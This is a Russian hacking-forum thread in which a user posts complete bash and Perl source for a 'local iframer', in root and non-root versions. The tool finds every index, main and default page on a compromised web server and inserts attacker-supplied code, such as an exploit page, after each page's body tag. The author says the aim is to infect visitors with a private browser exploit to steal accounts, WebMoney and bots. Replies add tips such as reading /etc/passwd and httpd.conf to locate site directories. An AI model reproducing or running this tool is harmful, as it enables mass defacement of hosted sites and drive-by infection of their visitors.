Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   Shadow iframer [local] (https://forum.antichat.xyz/showthread.php?t=30464)

Gh0s7 03.01.2007 05:46

Shadow iframer [local] | [local][n0b0dy] version
 
Shadow iframer[local] [r00t] & [n0b0dy] versions


[ I Что? ]
Shadow iframer (нормального названия не смог придумать =\) - небольшой ифреймер, написанный мной сегодня ночью :D
Как известно, ифреймер - небольшая программа (а какие лоси пытались продать нечто подобное за 25$ :D) для вставки своего кода в php/html файлы. Смысл в этом такой:
Например, вам слили очередной превад сплойт из превада ачата. Сплойтенг берет все ослы, до седьмого включительно. Ясное дело, что его необходимо заюзать и поиметь энное кол-во ботов\асек\3.14зженный вебмань :D
А у вас под рукой как раз есть небольшой хостинг, который вы недавно порутали. на нем есть несколько К хтмл страниц, вставлять код в каждую ручками очень накладно. Этим и занимаюсться ифреймеры. Они автоматически вставляют некоторый код в html\php паги. Обычно это делается удаленно (например по фтп) или локально.
Эта версия - локальная.

[ II Как? ]
Для начала расскажу немного об устройстве этого скрипта.
Скрипт написан на баше с перловыми вставками. Т.к. подразумевается что трояниться будут все страницы, то скрипт соответственно требует рута. Конечно, переписать его под нобади\нерута и конкретную диру можно (но нужно ли?)).
По размеру скрипт достаточно маленький :)

Использовать его очень просто. Нужно только запустить с один параметром - файлом с ифрейм кодом (естественно, код может быть любым)). Далее скрипт найдет все index файлы и вставит в них ваш код. Добавление идет в начало body скрипта.
Вот лог запуска:
Код:

# ./iframe.sh
[*]Searching for perl.../usr/bin/perl
[*]Starting index finder...please wait...search complete. Found X pages
[*]Generating iframer...complete.Starting iframer
[*] Injecting complete, deleting temp files...
[*] Finished

[ III Sources&outro ]

Собственно сорец:
[r00t] version
Код:

#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

check=`expr length "$1"`

if [ $check == 0 ]; then
  echo "########################################"
  echo "#Shadow iframer[local]  (c)ode by Gh0s7#"
  echo "########################################"
  echo "#usage: ./sh-iframe.sh [iframe file]  #"
  echo "#      ./sh-iframe.sh exploit.html    #"
  echo "########################################"
  exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find / -name "index.html*" 2> /dev/null > /tmp/found
find / -name "index.php*"  2> /dev/null >> /tmp/found
find / -name "index.shtml" 2> /dev/null >> /tmp/found
find / -name "index.phtml" 2> /dev/null >> /tmp/found
find / -name "main.html*" 2> /dev/null > /tmp/found
find / -name "main.php*"  2> /dev/null >> /tmp/found
find / -name "default.php*"  2> /dev/null >> /tmp/found
find / -name "main.shtml" 2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  @res = split (/\//);
  $len = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  while (<FILE>) {
    print TMP $_;
    if (/<body>/) { print TMP $code; }
  }
  close (TMP);
  close (FILE);
  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
  system ("./mv $file /tmp/$res[$len-1].bak");
  system ("./mv /tmp/$res[$len-1] $file");
}'
echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm /tmp/index*
echo "[*] Finished"
exit 0

[n0b0dy] version
Код:

#!/bin/bash

usage () {
  echo "########################################################"
  echo "#Shadow iframer[local][n0b0dy version]  (c)ode by Gh0s7#"
  echo "########################################################"
  echo "#usage: ./sh-iframe.sh [iframe file] [path]            #"
  echo "#      ./sh-iframe.sh exploit.html /var/www/31337.su  #"
  echo "########################################################"
  exit 1
}

check=`expr length "$1"`
if [ $check == 0 ]; then
  usage
fi

check=`expr length "$2"`
if [ $check == 0 ]; then
  usage
fi

if [ ! -d $2 ]; then
  echo "[x] $2 directory doesnt exists"; exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find $2 -name "index.html*" 2> /dev/null > /tmp/found
find $2 -name "index.php*"  2> /dev/null >> /tmp/found
find $2 -name "index.shtml" 2> /dev/null >> /tmp/found
find $2 -name "index.phtml" 2> /dev/null >> /tmp/found
find $2 -name "main.html*" 2> /dev/null > /tmp/found
find $2 -name "main.php*"  2> /dev/null >> /tmp/found
find $2 -name "default.php*"  2> /dev/null >> /tmp/found
find $2 -name "main.shtml" 2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  @res = split (/\//);
  $len = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or next;
  open (TMP, ">/tmp/$res[$len-1]") or next;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  while (<FILE>) {
    print TMP $_;
    if (/<body>/) { print TMP $code; }
  }
  close (TMP);
  close (FILE);
  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
  system ("./mv $file /tmp/$res[$len-1].bak");
  system ("./mv /tmp/$res[$len-1] $file");
}'
echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > /tmp/mv; chmod +x /tmp/mv
echo 'rm $@' > /tmp/rm; chmod +x /tmp/rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm /tmp/mv /tmp/rm
rm /tmp/index*
echo "[*] Finished"
exit 0

В ближайшее время будет закончен фтп ифреймер.
В заключение попрошу каментить и оценивать :) (как обычно)

P.S. Я не утверждаю что это мега-релиз, так что кричать что "мало" и т.д. не надо.
P.P.S. Читаем и отписываемся: https://forum.antichat.ru/thread30461.html

UPD 1:
Добавил версию для "кастрированных" аков.

-SMith- 03.01.2007 08:55

Я буду первым )
1) Плюс тебе за старания и написание статейки...
2)
Цитата:

Я не утверждаю что это мега-релиз
Согласен, не ново, вообщих чертах ты рассказал отлично, разложил все по-полочкам, но некоторым интересны тонкости...

aka PSIH 03.01.2007 09:00

Будет удобнее если в скипт добавить:
Код:

find / -name "main.html*" 2> /dev/null > /tmp/found
find / -name "main.php*"  2> /dev/null >> /tmp/found
find / -name "default.php*"  2> /dev/null >> /tmp/found
find / -name "main.shtml" 2> /dev/null >> /tmp/found


blackybr 03.01.2007 13:35

Ну в принципе для основы неплохо =) но допустим у нас не рут =) у нас есть путь к папке юзера

/home/user13/www/

содержимое папки /home/ мы просматривать можем, а вот уже на /user13/ Прав не хватает (в тоже время на /www/ все очень даже есть) .. ? ничего он не зафрэймит..

сталкивался много раз ) .. но твой явно основан на имении рута на тачке

aka PSIH 03.01.2007 13:41

Да, неплохо бы сделать чтоб можно было указывать с какой папки начинать искать файлы index.php и т.д
Хотя если Gh0s7 не возьмется, то могу я доделать... :p

limpompo 03.01.2007 14:35

Цитата:

. Т.к. подразумевается что трояниться будут все страницы, то скрипт соответственно требует рута.
Прочитав понятно что Нужны права РУТА!

Gh0s7 03.01.2007 17:05

Цитата:

Сообщение от aka PSIH
Будет удобнее если в скипт добавить:
Код:

find / -name "main.html*" 2> /dev/null > /tmp/found
find / -name "main.php*"  2> /dev/null >> /tmp/found
find / -name "default.php*"  2> /dev/null >> /tmp/found
find / -name "main.shtml" 2> /dev/null >> /tmp/found


Добавлено :)

Цитата:

Сообщение от blackybr
/home/user13/www/

содержимое папки /home/ мы просматривать можем, а вот уже на /user13/ Прав не хватает (в тоже время на /www/ все очень даже есть) .. ? ничего он не зафрэймит..

сталкивался много раз ) .. но твой явно основан на имении рута на тачке

Да, это даже написано, что ему нужен рут :)

Цитата:

Сообщение от aka PSIH
Да, неплохо бы сделать чтоб можно было указывать с какой папки начинать искать файлы index.php и т.д
Хотя если Gh0s7 не возьмется, то могу я доделать...

В ближайшее время доработаю :)

m0nzt3r 04.01.2007 23:20

blackybr, я эту фигню не догонял.Однажды поспорил с Dim-ok (ГГ привет те).Потом понял, что ошибся.Кстати респект ему ;)
Gh0s7 те конечто же тоже.Совет: читай названия дир с /etc/passwd :)

Dronga 05.01.2007 00:09

Цитата:

Сообщение от m0nzt3r
Совет: читай названия дир с /etc/passwd :)

+ httpd.conf

Замечательный релиз. Ждём версию для кастрированных учёток =)

Gh0s7 05.01.2007 01:38

Цитата:

Сообщение от Dronga
+ httpd.conf

Замечательный релиз. Ждём версию для кастрированных учёток =)

Гг, тогда напишу его после куррент проекта (модуль для проверки на веб баги)


Время: 18:25